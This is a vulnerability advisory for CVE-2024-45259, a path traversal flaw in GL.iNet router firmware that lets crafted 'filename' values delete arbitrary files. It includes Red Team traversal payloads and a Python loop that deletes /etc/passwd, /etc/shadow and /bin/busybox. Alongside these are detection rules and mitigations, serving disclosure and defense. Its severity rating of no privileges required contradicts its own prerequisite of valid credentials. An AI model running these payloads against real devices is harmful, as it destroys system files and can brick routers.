CVE-2024-45259

Executive Summary

CVE-2024-45259 is a critical path traversal vulnerability affecting multiple GL.iNet router models (MT6000, MT3000, MT2500, AXT1800, AX1800) running firmware version 4.6.2. The flaw resides in the download interface, where an attacker can intercept an HTTP request and manipulate the filename property to delete arbitrary files on the device. This allows for a denial of service (DoS) or potential privilege escalation by removing critical system files. No patch is currently available, and the vulnerability is publicly known.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in GL.iNet's proprietary router software.

CVSS Breakdown & Threat Level

• CVSS Score: 9.1 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: High
• Availability Impact: High

The high integrity and availability impacts, combined with no required privileges or user interaction, make this a critical vulnerability. An attacker can delete any file on the device, potentially bricking the router or disabling security features.

Deep Dive & Mechanics

The vulnerability exists in the HTTP download interface of the GL.iNet web management panel. The interface is designed to allow users to download files (e.g., logs, configuration backups). However, the filename parameter is not properly sanitized, allowing path traversal sequences (e.g., ../) to escape the intended download directory.

By intercepting a legitimate download request (e.g., via a man-in-the-middle attack or by tricking an authenticated user) and modifying the filename parameter, an attacker can specify an arbitrary file path on the device's filesystem. The server then processes the request and deletes the specified file instead of downloading it.

The attack flow:

1. An authenticated user initiates a download request (e.g., GET /download?filename=log.txt).
2. The attacker intercepts the request and changes filename to ../../etc/passwd or ../../etc/shadow.
3. The server, lacking proper validation, deletes the targeted file.
4. This can be repeated to delete critical system files, causing a denial of service or privilege escalation.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

@app.route('/download')
def download():
    filename = request.args.get('filename')
    filepath = os.path.join('/var/downloads', filename)
    if os.path.exists(filepath):
        os.remove(filepath)
        return "File deleted"
    else:
        return "File not found", 404

Patched Code (Conceptual):

import os

ALLOWED_DIR = '/var/downloads'

@app.route('/download')
def download():
    filename = request.args.get('filename')
    # Sanitize: remove path traversal sequences
    safe_filename = os.path.basename(filename)
    filepath = os.path.join(ALLOWED_DIR, safe_filename)
    # Ensure the resolved path is within the allowed directory
    real_path = os.path.realpath(filepath)
    if not real_path.startswith(os.path.realpath(ALLOWED_DIR)):
        return "Invalid path", 400
    if os.path.exists(real_path):
        os.remove(real_path)
        return "File deleted"
    else:
        return "File not found", 404

The patched code uses os.path.basename() to strip directory components and then verifies that the resolved path is within the allowed directory.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a GL.iNet router running firmware 4.6.2 (MT6000, MT3000, MT2500, AXT1800, or AX1800).
• Ability to intercept HTTP traffic (e.g., using Burp Suite, mitmproxy, or a custom proxy).
• Valid credentials for the web management interface (or ability to trick an authenticated user).

Exploitation Steps:

1. Intercept a download request: Use a proxy to capture a legitimate download request from the web interface.
2. Modify the filename parameter: Change the value to a path traversal payload, e.g., ../../etc/passwd.
3. Forward the request: Send the modified request to the server.
4. Verify deletion: Check if the file was deleted (e.g., by attempting to access the router's login page, which may fail if /etc/passwd is deleted).

Example Payloads:

• Delete /etc/passwd: filename=../../etc/passwd
• Delete /etc/shadow: filename=../../etc/shadow
• Delete /bin/busybox: filename=../../bin/busybox (may brick the device)

Automated Exploit (Python):

import requests

target = "http://192.168.1.1"
session = requests.Session()
# Assume authentication is handled via cookies
cookies = {"session": "valid_session_cookie"}

payloads = [
    "../../etc/passwd",
    "../../etc/shadow",
    "../../bin/busybox"
]

for payload in payloads:
    url = f"{target}/download?filename={payload}"
    response = session.get(url, cookies=cookies)
    print(f"Payload: {payload} -> Status: {response.status_code}")

Blue Team

Detection:

• Monitor HTTP requests to the /download endpoint for unusual filename parameters containing ../ or absolute paths.
• Alert on multiple deletion requests in a short time frame.
• Use file integrity monitoring (FIM) to detect deletion of critical system files.

Mitigation:

• Immediately restrict access to the web management interface to trusted IPs only.
• Disable the download interface if not required.
• Implement a Web Application Firewall (WAF) rule to block path traversal patterns.

Hunting:

• Search logs for GET /download?filename=* requests with suspicious patterns.
• Check for missing critical files (e.g., /etc/passwd, /etc/shadow).

Indicators of Compromise (IOCs)

• Network:

  • HTTP requests to /download with filename containing ../ or absolute paths.
  • Repeated 200 OK responses from /download followed by service disruption.

• Host:

  • Missing critical system files (e.g., /etc/passwd, /etc/shadow, /bin/busybox).
  • Router unable to boot or login.

• Logs:

  • Web server logs showing GET /download?filename=../../etc/passwd entries.

Detection Engineering

YARA Rule

rule CVE_2024_45259_GLiNet_File_Delete {
    meta:
        description = "Detects path traversal attempts in HTTP requests targeting GL.iNet routers"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-45259"
    strings:
        $path_traversal = "../"
        $download_endpoint = "/download?filename="
    condition:
        $download_endpoint and $path_traversal
}

Sigma Rule

title: GL.iNet Path Traversal File Deletion Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects attempts to exploit CVE-2024-45259 by manipulating the filename parameter in download requests.
author: Valters IT
date: 2024-10-27
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/download?filename='
        cs-uri-query|contains: '../'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in rare cases
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2024-45259 GL.iNet Path Traversal File Deletion Attempt";
    flow:to_server,established;
    content:"/download?filename="; http_uri;
    content:"../"; http_uri;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the download interface if not required for business operations.
2. Restrict access to the web management interface to trusted IPs only (e.g., via firewall rules).
3. Monitor logs for suspicious download requests.

Long-term Fix:

• Apply a firmware patch from GL.iNet when available.
• Implement input validation and sanitization for all user-supplied parameters.
• Use a Web Application Firewall (WAF) to block path traversal attempts.

Workaround:

• If patching is not possible, consider replacing the router with a different model or vendor.

Valters IT